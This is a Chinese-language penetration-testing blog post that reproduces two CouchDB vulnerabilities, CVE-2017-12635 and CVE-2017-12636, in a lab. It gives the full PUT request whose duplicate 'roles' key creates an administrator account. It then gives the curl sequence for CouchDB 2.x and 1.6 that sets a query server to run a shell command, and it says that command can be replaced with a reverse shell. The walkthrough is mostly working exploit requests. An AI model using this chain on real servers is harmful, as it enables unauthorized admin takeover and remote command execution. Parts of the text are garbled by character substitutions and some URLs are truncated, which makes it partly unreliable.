关于渗透测试:CouchDB-漏洞复现-CVE20171263512636

6次阅读

共计 2369 个字符,预计需要花费 6 分钟才能阅读完成。

前言

CouchDB 是一个开源的面向文档的数据库管理系统,能够通过 RESTful JavaScript Object Notation (JSON) API 拜访。CVE-2017-12635 是因为 Erlang 和 JavaScript 对 JSON 解析形式的不同,导致语句执行产生差异性导致的。这个破绽能够让任意用户创立管理员,属于垂直权限绕过破绽。

CVE-2017-12636 是一个任意命令执行破绽,咱们能够通过 config api 批改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。
影响版本:

小于 1.7.0 以及小于 2.1.1

破绽复现

环境搭建

应用 Vulhub 的破绽平台进行复现

docker-compose up -d

拜访 http://192.168.52.128:5984/_u… 呈现如下页面搭建胜利

测试过程

CVE-2017-12635

结构创立账户的 PUT 包

PUT /_users/org.couchdb.user:liangban HTTP/1.1Host: www.0-sec.org:5984Accept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 104​ {"type": "user",   "name": "liangban",   "roles": ["_admin"],   "password": "liangban" }

咱们没有 admin 权限,所以报错 forbidden 显示只有管理员能力设置 Role 角色。绕过 role 验证:发送蕴含两个 roles 的数据包,即可绕过限度在原先的包中退出 “roles”:[],

返回如图所示即胜利创立用户尝试应用 liangban/liangban 登录:

胜利登录,且为管理员账户

CVE-2017-12636

该破绽利用条件须要登录管理员用户触发,可应用下面介绍的 CVE-2017-12635 搭配利用

因为 Couchdb 2.x 和和 1.x 的的 API 接口有所差异,导致利用形式也不同,这里间接拿刚刚复现的 CVE-2017-12635 环境,演示 2.x 版本

Couchdb 2.x 引入了集群,所以批改配置的 API 须要减少 node name, 带上账号密码拜访 /_membership 获取 node 名称:
其中 liangban:liangban 为管理员的账户明码

curl http://liangban:liangban@192.168.52.128:5984/_membership

这里只有一个 node,为:nonode@nohost
批改 nonode@nohost 的配置, 其中 id >/tmp/success 是要执行的命令,能够更换为弹 shell

curl -X PUT http://liangban:liangban@192.168.52.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

申请增加一个名为 zhuAn 的 Database,以便在外面执行查问 curl -X PUT ‘http://liangban:liangban@192….’

申请增加一个名为 test 的 Document,以便在外面执行查问

curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x 删除了 _temp_view, 所以咱们为了触发 query_servers 中定义的命令,须要增加一个_view`
curl -X PUT http://liangban:liangban@192…. -d ‘{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’ -H “Content-Type: application/json”

减少_view 的同时即触发了 query_servers 中的命令。看到返回错误信息没有关系,报错来源于执行命令之后的流程退出靶机的 docker 查看发现命令执行胜利,胜利写入 success 文件

1.6.0 系列

curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan'curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'curl -X POST  'http://liangban:liangban@192.168.52.128:5984/zhuan/_temp_view?limit=10'  -d '{"language":"cmd","map":""}'-H'Content-Type:application/json'

exp

要替换对应的网址,端口,监听 ip,对应版本,1.x 和 2.x 的 payload 不统一。
python3 exp.py

exp 文件私信公众号 CVE-2017-12636 获取

正文完
 0